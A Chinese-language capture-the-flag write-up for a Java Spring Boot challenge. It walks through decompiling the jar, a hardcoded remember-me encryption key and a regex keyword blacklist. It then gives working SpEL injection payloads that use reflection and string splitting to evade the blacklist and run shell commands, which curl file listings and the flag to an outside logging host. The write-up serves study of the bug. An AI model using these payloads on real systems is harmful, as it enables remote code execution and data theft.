Code-Breaking Puzzles — javacon WriteUp
刷微博正好看到P神的活动,学习了。
- javacon
- 难度:medium
- 源代码:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar
- URL:http://51.158.75.42:8081/
简单记录下jar分析一般步骤:
源码下载后,JD-GUI反编译,或者到IDEA中放进lib便可以查看反编译class源码。
如果需要调试,IDEA打断点后,配置Remote如下

命令启动
1 |
java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar challenge-0.0.1-SNAPSHOT.jar |
再点击IDEA右上角的DEBUG即可。
程序结构:

首先我们可以从SpringBoot的配置 application.yml看起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
spring: thymeleaf: encoding: UTF-8 cache: false mode: HTML keywords: blacklist: - java.+lang - Runtime - exec.*\( user: username: admin password: admin rememberMeKey: c0dehack1nghere1 |
主要就是一个黑名单,一个用户的提供。
其他文件 :
SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。
ChallengeApplication 用于启动
Encryptor 加密解密工具类
KeyworkProperties 使用黑名单时需要
UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor
主要看MainController

我们从登录看起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
@PostMapping({"/login"}) public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) { if(this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) { session.setAttribute("username", username); if(isRemember != null && !isRemember.equals("")) { Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe()); c.setMaxAge(2592000); response.addCookie(c); } return "redirect:/"; } else { return "redirect:/login-error"; } } |
判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie。
最后跳转hello.html
1 |
<h2 th:text="'Hello, ' + ${session.username}"></h2> |

打开页面后其中比较敏感的一个操作就是对Cookie的处理,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
@GetMapping public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) { if(rememberMeValue != null && !rememberMeValue.equals("")) { String username = this.userConfig.decryptRememberMe(rememberMeValue); if(username != null) { session.setAttribute("username", username); } } Object username = session.getAttribute("username"); if(username != null && !username.toString().equals("")) { model.addAttribute("name", this.getAdvanceValue(username.toString())); return "hello"; } else { return "redirect:/login"; } } |
程序判断rememberMeValue存在后,直接对其进行解密,然后将其setAttribute
,接下来可以看到this.getAdvanceValue(username.toString())
我们来看这个方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
@ExceptionHandler({HttpClientErrorException.class}) @ResponseStatus(HttpStatus.FORBIDDEN) public String handleForbiddenException() { return "forbidden"; } private String getAdvanceValue(String val) { String[] var2 = this.keyworkProperties.getBlacklist(); int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) { String keyword = var2[var4]; Matcher matcher = Pattern.compile(keyword, 34).matcher(val); if(matcher.find()) { throw new HttpClientErrorException(HttpStatus.FORBIDDEN); } } ParserContext parserContext = new TemplateParserContext(); Expression exp = this.parser.parseExpression(val, parserContext); SmallEvaluationContext evaluationContext = new SmallEvaluationContext(); return exp.getValue(evaluationContext).toString(); } |
其实就是与其跟黑名单做正则匹配,如果匹配成功则抛出HttpStatus.FORBIDDEN
,如果没有匹配到则进行正常流程,在SmallEvaluationContext
进行SpEL表达式解析。注意,这里就存在El表达式注入的问题了。
在JAVA中我们可以通过
1 |
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator") |
来执行命令,但在这个题目中使用了黑名单。
所以这里我们需要使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。
不熟悉反射的小伙伴可以先学习一下,这里我直接给出POC 还有一些注意的点。
我们选择利用curl来配合执行命令,所以如下,字符串拼接很好理解,很容易绕过了正则匹配。
1 |
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://fg5hme.ceye.io/1aa1k"); |
运行一下,可以看到我们成功接受到了请求。

接下来我们需要将其构造为SpEl的解析格式,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。
需要注意的一个点,在JAVA中Runtime中exec对复杂一点的linux命令执行不了…我们需要将其参数改成如下才可以
1 |
new String[]{"/bin/bash\","-c","xxxxx"} |
所以我们构造如下POC 来执行命令并获取结果,这里一个小技巧就是使用base64来传数据。
1 |
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl fg5hme.ceye.io/`cd / && ls|base64|tr '\\n' '-'`\"})}")); |
获取目录
之后cat flag,如下,再像上面一样加密后存入cookie中即可。
1 |
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})} |



最后,师傅们Tql,感谢p神的题目。

近期评论